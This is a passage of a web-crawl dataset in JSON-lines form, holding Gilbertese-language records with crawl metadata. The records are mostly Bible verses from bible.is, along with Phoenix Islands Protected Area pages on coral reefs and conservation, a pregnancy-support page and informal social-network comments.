1.0000100135803223}","num_words":734,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:33Ngke e ongo te mataniwi arei taekan Iesu, ao e kanakoia aia unimm'aane I-Iutaia tabeman b'a a na nako n Iesu, ao a na tuangnga b'a E na roko ni kamaiua ana toro. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/3","date":"2017-03-30T17:26:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218195419.89\/warc\/CC-MAIN-20170322212955-00051-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9996963739,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9996963739395142}","num_words":49,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:1313E kainaomataira Kristo man te rekenikai are n te Tua, ngkae E karaoa are E na reke kaina iai i bukira, b'a e koreaki ae kaangai, E a reke kain te aomata ae tauraki n te kai: Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/13","date":"2017-03-23T13:12:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218186895.51\/warc\/CC-MAIN-20170322212946-00642-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9999554157,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.999955415725708}","num_words":53,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3636Ngkana arona ngkanne b'a e buta rab'atam ni kabane n te oota n akea maiai ae e roo, ao e na tab'anin raoi ootana, n ai aron uran te taura ae anganiko ootana. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/36","date":"2017-03-27T15:19:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189474.87\/warc\/CC-MAIN-20170322212949-00394-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9999746084,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999746084213257}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 1:1111ngkai kam buokira n tataro i bukira, b'a a aonga n tataro ni katituaraoi i bukira aomata aika bati i bukin te kab'aia are ti anganaki b'a kaekaan taian tataro aika bati. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/1\/11","date":"2017-03-25T16:33:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188962.14\/warc\/CC-MAIN-20170322212948-00364-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9999643564,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9999643564224243}","num_words":48,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rakain Rawaki a bon raka aroia n aro aika mwaiti ao aio e bon reke man teimatoaia ngkai akea ana tokobito te aomata nako iai. Bon waniua mwaitin atimwakorona Rawaki aika a otabwaniniaki n taian rakai. Bon iai naba uoua kaora aika a raba iaan taari aika Carondelet Reef ao Winslow Reef aika 3-4 te mita iaan tari n tain te ora.\nRakain Rawaki a bon maiu n aroia n aki tokobitoaki. Iai korakoran te nao ae teimatoa n oro man n itera aika mai maiaki, mainiku ao meang ao aio are a uarokoi rakain PIPA bwa a na maiureirei. Ibukin aio e a riki iai PIPA ba ai te nikira n tabo n te aonnaba ae iai inanona taian kaubwai ma taian mari aikai. A tia taan rabakau ni kunei aekan rakai aika 250 mwaitiia ni aia moan kakae. Imwina riki ao a manga kunea bwa ngaia 518 ao n aia katautau bwa e bon nakon te mwaiti ae 570 aekan rakain nako PIPA ni kabane.\nE ngae ngke iai kaman ataakin te aono aei mangkoa bwa rianako kaubwain marawana ao bon akea mwin aia kakae taan rabakau ae a tia ni karaoia mai mwaina ni karokoa rokon ana tiim te New England Aquarium n te ririki 2000. Tionakon Rawaki ma te aonnaba e a bon karekea te kaokoro ae bubura ma kaora ke okai tabeua n te aonnaba aika a tabe n uruakaki ni katoa bong mairouia aomata. Ibukin aio ao PIPA e na tiku n tei bwa ti ngaia ngkai te tabo ni kamaiu ibukia ika ma rakai i Nukan te Betebeke.\nTe PIPA e bon aitara naba ma te kanganga ae keekeraken kabuebuen te aonnaba e ngae ngke akea ana tokobito te aomata. Ni bane 2002 ao e bon rotaki te aono n Rawaki n rakan kabuebuen te aonnaba ike a mwaiti iai rakaina aika a mate. Imwain naba rikin Rawaki bwa te okai ni marawa ao iai naba noran mwin akawaan te bakoa ibukin te bai-ni-bakoa. N te kakae imwina ngke a riki PIPA bwa te okai ao a manga noraki rakai n okira aron maiureireiia ao mwaitia bakoa ake a tia ngkoa ni karako a manga nangi ni mwaiti.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/phoenixislands.org\/coral-reefs-ki.php","date":"2017-03-27T10:34:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189471.55\/warc\/CC-MAIN-20170322212949-00575-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":359,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.384,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ni buburana ae 408,250 kmᶽ (157,626 tikuea maire) ao e riki ngkai PIPA bwa te kabanea ni toakaei n okai ni marawan te Betebeke. N te ririki 2006 ao e karinaki iai PIPA n Bowin te Aonnaba n Rabwatana are tabe ma te Reitanimaiu (Convention on Biological Diversity) i Brazil ao man katanoataki bwa te Okai ae kinaki n te aonnaba. N 30 n Tianuare, 2010 ao e a rin PIPA iaan tuan te Enwaeromenta iaon Kiribati man tei iaan oin ana Regulation. Ikanne are e a kamatoaki naba iai buburan PIPA ae ngaia te kabanea ni bubura n Okai n te aonnaba. N te ririki 2010 ao PIPA e manga rin ibuakoia aban te UNESCO ake a kamanoaki bwa taian World Heritage Sites. Ikanne are e a kinaki iai PIPA bwa te kabanea ni bubura ao n nano n Okai iaon te buraneti.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.phoenixislands.org\/index-ki.php","date":"2017-03-27T06:33:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189462.47\/warc\/CC-MAIN-20170322212949-00123-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":138,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:3131ao ake a tabe ma b'ain te aonnaba aei, b'a aongkoa a aki kabanebuakai aia tai iai. B'a te aonnaba aei, n arona ae ngkai, e na aki maan ao e na mauna. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/31","date":"2017-03-28T23:30:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218190134.25\/warc\/CC-MAIN-20170322212950-00232-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.999951601,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999516010284424}","num_words":49,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 13:55Ao e anganaki te man arei te kona n atongi taeka ni kainikatonga ma taeka ni bakanatua; ao e anganaki te m'aaka ni karaoa ae e kani karaoia abwi ma uoua te nam'akaina. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/5","date":"2017-03-29T15:42:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218190753.92\/warc\/CC-MAIN-20170322212950-00038-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.999896884,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9998968839645386}","num_words":50,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ai matira aban te Betebeke a bane ni kakoaua bwa te bikoukou bon te baintangira mai roun te Atua, naiaron te Tapuaki ae a ia koaua kaain Tonga\nE reke iroum rongorongo ibukin te bikoukou ao ibwobwoki nakoim imain am tai ni bikoukou ba ko kona buokaki ma natim nkana e bungiaki. Reireiniko baai ko riai ni karaoi ma kainabam, am koraki, ni buokaki ai te tina ma te ataei ba ana maiu reirei, taraia te na links I bukia bootaki akona ni ibwobwoki n tenaa ni video, rongorongo aika koreaki mai iroia tina aika atia ni tokanikai man te waaki aio (story) Tapuaki.\nNi te aro bwa ena reke iroum rongorongo aikai n te taeate ni te Betebeke, click Samoa, Tonga, Cook Island Niue nte buraeke e tei n te agatai mai eta nte koona- rongorogo aikai a konaa naba ni rairaki nakon am taetae ( Tuvalu, Biti, Tokelau ao Kiribati).","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.tapuaki.org.nz\/ki","date":"2017-03-24T17:48:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188550.58\/warc\/CC-MAIN-20170322212948-00215-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000079870224}","num_words":151,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke a tabe n taetae Betero ma Ioane nakoia aomata, ao a roko naba ibonga ma aia mataniwi bureitimanin te Tembora, ma Tarukaio, i rouia. 2A un i bukina ngke a reireiia aomata ao a taekina te manga-maiu mai buakoia maate iroun Iesu. 3A tauia ao a kaakiia i nanon te karabuuti i bukina b'a e a tairiki; ao a tiku iai ni karokoa te ingabong. 4Ma a bati i buakoia aomata ake a ongo aia taeka Betero ma Ioane ake a kakoauaa; tao nimangaa m'aitiia ake a onimaki. 5N te bong are i mwina ao a botaki aia mataniwi I-Iutaia ma unimm'aane ma taani koroboki i Ierutarem; 6e roko naba Annati are aia mataniwi ibonga, ma Kaiaba, ma Ioane, ma Arekantero, ma tem'angina riki ake kaain ana utu aia mataniwi ibonga. 7A kateia taan tuatua i mataia, ao a titirakiniia ni kaangai, \"N te m'aaka ra, ke n te ara ra ae kam karaoa iai te baerei?\" 8E kaonaki Betero n te Tamnei are Raoiroi, ma ngaia are e taku nakoia, Ngkami aika aia mataniwi aomata, ma unimm'aane, 9ngkana e ukoukoraki mai roura n te bong aei taekan te m'akuri ae e raoiroi ae ti karaoia nakon te m'auku aei, b'a e kanga ni kamaiuaki te aomata aei, 10ao e na ataaki iroumi ni kabaneingkami, ao irouia naba kaain te botannaomata ae Iteraera: b'a n aran Iesu Kristo are te I-Natareta, are kam kamatea n te kaibangaki, are E a manga kamaiua te Atua mai buakoia maate, boni Ngaia ae kamaiua teuae tei ni marurung i matami. 11Boni Ngaia te atibu are e kakeaki bongana iroumi, ngkami aika taani kateitei ma bon te atibu ae moan te kakawaki, b'a bouan te maninganinga, 12Bon ti Iesu ae mena i rouna te kamaiu, ao akea riki; b'a bon akea te ara riki teuana i aani karawa ae a anganaki aomata, ae ti kona ni kamaiuaki iai. 13A mimi te koraki arei ngke a nora aroni Betero ma Ioane n ninikoria, ao ngke a ataiia b'a aomata n aki reireiaki. A ataiia ngkanne b'a a memena iroun Iesu ngkoa. 14Ma ngke a nora teuare kamaiuaki n teitei ma Betero ao Ioane, ao akea aia taeka ni kauntaeka. 15A tuangaki ngkanne Betero ma Ioane b'a a na oti nako man te kabowi, ao a tiku kaain te kabowi ni maroroo ao a kaangai. 16\"Ti na iraniia uakai? B'a e bon ataaki irouia aomata ni kabaneia aika maeka i Ierutarem, b'a e karaoaki te b'ai ae kamimii aei irouia uakai; ao ti aki kona ni kakewea. 17Ma ti na tuangiia ni kakamakuia, b'a a na aki manga taetae nakon temanna n te Ara aei, b'a e kaawa ni buta nako taekan te baei nakoia aomata.\" 18Ao a wetea Betero ma Ioane, ao a tuangiia b'a a na aki manga taetae teutana n Aran Iesu, ao a na aki reirei naba iai. 19Ma e kaekaia Betero ma Ioane ni kaangai, \"Kam na karekei ami iango b'a e nga ae e raoiroi riki i matan te Atua: iran nanomi ke iran nanon te Atua; 20b'a ti aki kona n aki taekini baike ti noori ma n ongo.\" 21Ao ngke a tia n taetae nakoia ni kakamakuia riki, ao a kanakoia, b'a akea te b'ai teuana ae a kunea are a na kareke kaiia iai, b'a a makuia aomata; b'a a bane aomata ni karaoiroa te Atua i bukin te baere e a tia n riki. 22B'a abwi tabun ana ririki ni maiu te aomata are e karaoaki nakoina te m'akuri ni kamaiu ae kamimii arei. 23Ngke a kainaomataki Betero ma Ioane, ao a nako ni kawaria raoia, ao a kaongoraeia n aia taeka aia mataniwi ibonga ma unimm'aane ake a taekin nakoia. 24Ao ngke a ongo, ao a kabo b'anaaia n tataro nakon te Atua, ao a kaangai, Te UEA, boni Ngkoe are Ko karika karawa, ma aonnaba, ma marawa, ma b'ai ni kabane ake a mena i nanoia; 25are Ko kaangai iroun te Tamnei are Raoiroi, ni wiin Tawita are ara bakatibu, are am toro, A aera aomata aika tiaki I-Iutaia ngke a rangi n un? Ao a aera aomata aika a iangoi baika akea bongaia? 26A katauraoia uean aonnaba, Ao a botaki mataniwin tautaeka, b'a a na eekaanako te Uea ma ana Kristo. 27B'a e boni koaua b'a a botaki n te kaawa aei, Erote ma Bontio Birato, ma aomata aika tiaki I-Iutaia, ma aomata aika Iteraera n te kaawa aei, n eekaanako Natim are Raoiroi, are Iesu, are Ko a tia ni kabiria. 28B'a a na karaoi b'aai ni kabane ake Ko a tia ni bairei ni m'aakam ma nanom b'a a na karaoaki. 29Ao ngkai, te UEA, Ko na tarai aroia n iowawa; ao Ko na anganiia am toro te ninikoria b'a a na taekina am taeka. 30Ko na arora nako baim ni kamaiu, ao anganira te kona ni karaoi kanikina ma m'akuri aika kamimii i nanon Aran Natim are Raoiroi are Iesu. 31Ngke a tia n tataro ni bubuti, ao e m'aeiei te tabo are a botaki iai; ao a bane ni kaonaki n te Tamnei are Raoiroi, ao a tataekina ana taeka te Atua ma te ninikoria. 32A b'aina te nano ae ti teuana taan onimaki ake a bati, ao akea temanna i rouia ae tauti n ana b'ai; ma a buokanib'ai n aia b'ai nako. 33Ao a kakorakoraia taan tuatua n tataekina te UEA are Iesu b'a E a manga uti mai buakoia maate; ao e mena i aoia ni kabaneia ana akoi te Atua. 34Akea i buakoia ae e kai nanona n te b'ai teuana: b'a ake iai abaia ma aia auti, a kabo nako, ao a uoti m'aneia, 35nakoia taan tuatua b'a a na kawakin; ao a tib'aki ni katoaaki iai taan onimaki ni kaeti ma kain nanon temanna ma temanna. 36Ao Ioteb'a, are e aranaki irouia taan tuatua b'a B'arenaba (ae nanona, \"Natin te kaunga-nano\") ae te I-Kubero, ae kaain te utu ae te Rewi, 37Iai abana ae e kaboa nako, ao e anga m'anena nakoia taan tuatua.\nCopyright","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/4","date":"2017-03-25T04:41:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188785.81\/warc\/CC-MAIN-20170322212948-00177-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1003,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"mauri!! Oere an kabara te bure are ti tebo ma are ia kaona am page n au comment.\nTao ia nag kabetaa ikai ma tao ai bon au moan ao au kabane naba ni comment nte ririki aei. I rarikin anne ao ena tekeraoi naba te holiday.\nNgkai ea bane au Exam 2 day.…\"\n\"Hey! sis tera te news mai ikanne.\nNgai ngkai na nakoati nako suva ao ia sit naba au exam i kanne i suva.\nwea's u're dauve aven't heard from her since i last chat wit from hia.\nmaybe very busy studying coz exam is dea knocking at da…\"","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/banabanvoice.ning.com\/profile\/TereneMatts?xg_source=activity","date":"2017-03-29T09:12:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218190236.99\/warc\/CC-MAIN-20170322212950-00136-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9898579717,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9898579716682434}","num_words":101,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.987,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3434Matam, kanga ai aron te taura i bukin rab'atam; ngkana e raoiroi matam, ao e buta rab'atam ni kabanea n te oota; ma ngkana e aki raoiroi, ao e buta rab'atam ni kabanea n te roo. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/34","date":"2017-03-24T14:27:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188132.48\/warc\/CC-MAIN-20170322212948-00392-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.999971509,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999715089797974}","num_words":52,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:1111Ane e na roko m'aiein te aba ae korakora, ao a na roko roongo ma aoraki aika kamamate n taabo tabeua; ao ane a na roko baika kakamaaku ma kanikina aika ab'ab'aki mai karawa. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/11","date":"2017-03-26T06:15:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189127.26\/warc\/CC-MAIN-20170322212949-00163-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9996806383,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9996806383132935}","num_words":50,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:3232I Tamateko, ao e kateia tem'angina te tia tautaeka are i aan te uea are Areta b'a a na tantani i rarikini mataroani kawai n rin n aia kawa I-Tamateko, b'a a na tauai; Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/32","date":"2017-03-25T02:02:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188773.10\/warc\/CC-MAIN-20170322212948-00519-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9931342006,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9931342005729675}","num_words":50,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:2727Ngke ai te katebwi ma aua ni bong, ngke e uouotaki ara kaibuke i nanoni marawan te Mereterenian, ngke tao e a nukanibong, ao a taku i nanoia kaimoa b'a a kaania te aba teuana. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/27","date":"2017-03-26T07:43:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189130.57\/warc\/CC-MAIN-20170322212949-00557-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9997680783,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.999768078327179}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:66\"Ni kaeti ma b'aai aika kam noori aikai, ane a na roko boong are e na aki noraki n tiku ikai te atibu teuana i aon teuana. A na bane ni kab'akaki i aontano.\" Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/6","date":"2017-03-25T02:39:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188773.10\/warc\/CC-MAIN-20170322212948-00549-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9997419715,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 0.9997419714927673}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te onimaki bon te aki nanokokoraki ni baika kaantaningaki, ae kakoauani baika aki noraki. 2Bon i bukin aia onimaki ikawai ake ngkoangkoa ae E kukurei iai i rouia te Atua. 3I bukina ngkai ti onimaki, ao ti a ataia iai b'a a karikaki karawa ma aonnaba n ana taeka te Atua; ma ngaia ae te bae noraki e a karikaki mani baika aki noraki. 4I bukin ana onimaki Abera, ao e angan te Atua te karea ae raoiroi riki nakon ana karea Kain; ao i bukin ana onimaki ao E kukurei te Atua i rouna ngkai e karaoa nanona; ao e boni ngae ni mate Abera, ma e teimatoa n taetae ana onimaki i bukina. 5I bukin ana onimaki Enoka, ao e uotaki rake ngke e maiu b'a e na aki bo ma te mate; ao e aki manga noraki b'a E uotia rake te Atua. B'a i m'ain uotakina rake, ao iai kakoauaana b'a e kakukureia te Atua. 6Ma ngkana akea te onimaki ao e aki kona te aomata ni kakukureia te Atua; b'a e bon riai iroun te aomata ane nako n te Atua ni kakoaua b'a bon iai te Atua ao boni Ngaia te tia karekea kaniwangaia te koraki aika kakorakoraia n ukoukoria. 7I bukin ana onimaki Nooa, ao e ongo ana taeka ni katauraoi te Atua i bukini baika na riki rimwi aika aki konaki n noraki. E ongeaba nakon te Atua ao e kabaa te kaibuke are e a kamaiuaki iai ma ana utu. Ao i bukin aei a motikaki iai taekaia kaain aon te aba ni kabuakakaki, ao Nooa e riki b'a te tia b'aib'ai n te raoiroi are reke n te onimaki. 8I bukin ana onimaki Aberaam, ao e ongeaba ngke e weteaki iroun te Atua, ao e nako n te tabo are e na anganaki b'a abana; ao e m'ananga n aki ata ike e na nako iai. 9I bukin ana onimaki Aberaam, ao e maeka n iruwa n te aba are atongaki n te taeka n akoi; ao e maeka n um'anrianna ma Itaaka ma Iakob'a, aika iai naba tib'angaia n te taeka n akoi naba aei. 10B'a Aberaam e kaantaninga te kawa are iai aana ae teimatoa, ae te kawa ae iangoaki arona iroun te Atua ao Ngaia naba ae kateia. 11I bukin ana onimaki Nei Tara, ao e reke i rouna te kona ni kariki, e boni ngae ngke e a rangi ni kara. E taku b'a E kakaonimaki Teuare anganna te taeka n akoi; 12ma ngaia are a riki mairoun ae ti temanna ae kanga ae mate, kanoana aika ai aroni m'aitin itoini karawa, ao ai aron te tano ae i aon te bike, ae e aki konaki ni warekaki. 13A bane ni mate i nanon te onimaki Aberaam, Itaaka ao Iakob'a ngke a tuai n reke i rouia baike a atongaki n taeka n akoi akekei; ma a nori mai kiraroa, ao a kukurei iai, ao a taku b'a bon I-anena ngaiia ao aomata aika maeka n iruwa i aon te aba. 14B'a te koraki akana atongi taeka aikai a kaotiia raoi iai b'a a korakora nanoia ni kani karekea te tabo ae bon abaia. 15Ao ngke tao a uringa te aba are a maeka ngkoa iai, ao a na kaman tia n reke aia tai n okiria. 16Ma a bon tangira te tabo ae raoiroi riki, are i karawa. Ma ngaia are E aki mamaa te Atua n atongaki i rouia b'a Atuaia, b'a E a tia ni katauraoa aia kawa i bukiia. 17I bukin ana onimaki Aberaam, ao e anga Itaaka b'a te karea ngke e kataaki. Teuare a atongaki taeka n akoi nako ina, e tauraoi n anga natina ae te rikitemanna b'a te karea; 18boni ngaia are e atongaki ae kangai nako ina, \"A na atoatongaki am kariki nako i nanon Itaaka.\" 19E kakoaua Aberaam i nanona b'a E kona te Atua ni manga kamaiua Itaaka man te mate, ao aei kanga ai aron taekani manga utin Itaaka man te mate. 20I bukin ana onimaki Itaaka, ao e taetae ni kakab'aia Iakob'a ma Etau nakoni boong aika na roko. 21I bukin ana onimaki Iakob'a ao e taetae ni kakab'aiaia natin Ioteb'a n tatabemaniia nako ngke e a kaani mate. E tei n raraa aon okona n nakonako ao e taromauria te Atua. 22I bukin ana onimaki Ioteb'a, ao ngke e nangi mate, ao e taetae b'a a na oti nako tibun Iteraera mai Aikubita, ao e tua te baere e riai ni karaoaki i bukin riina. 23I bukin aia onimaki ana karo Moote, ao a karaba Moote tenua nam'akaina i mwini bungiakina, b'a a noria b'a te teei ae tamaroa; ao a aki maka ana taeka te uea. 24I bukin ana onimaki Moote, ao e rawa n atongaki b'a natin natini B'arao te aine ngke e a ikawai; 25ma e tangira riki ae e na uaia ni b'ainikirinaki ma ana aomata te Atua nakon ae e kakukureia n te buakaka i nanon te tai ae aki maan. 26E taku i nanona b'a te b'ai ae kakawaki riki te taetaebuakaki i bukin te Mesia nakoni kaub'ain Aikubita aika bati: b'a e tabe n iaiangoa te kaniwanga are e na anganaki n te tai ae na roko. 27I bukin ana onimaki Moote, ao e kitana Aikubita n aki maka unin te uea. E kanene n arona aei b'a kanga ai aron ae e nora te Atua ae aki nonoraki. 28I bukin ana onimaki Moote, ao e a riki iai ni karaoa te Riao ma katimtim'an te raraa, b'a e aonga Aneran te Mate n aki kamateia naati mm'aane ake karimoa. 29I bukin aia onimaki Iteraera, ao a ri nukan Tari are Uraura n ai aron ae kanga a nakonako i aon te tano ae m'au; ao ngke a kataia I-Aikubita ni karaoa naba aei, ao a iekaki n te ran ao a mate. 30N te onimaki are a b'aka iai nonon Ieriko, ngke a tia ni katobibiaki itibong. 31N te onimaki are e aki kamateaki iai Nei Raaba are te kabekaau ma ake a aki onimaki, ngke e a tia ni m'aneia n akoia taan tutuo akekei ma te rau. 32Ao tera riki ae N na atongnga? E na bane au tai ngkana I taekina Kiteon, ma B'araka, ma Tamton, ma Iebeta, ma Tawita, ma Tamuera, ma taiani burabeti. 33N te onimaki ao a kataei aia kai uea, a kakaraoa nanon te Atua, a reke i rouia baike a atongaki n taeka n akoi, a kaini wiia raian, 34a katoka korakoran uran 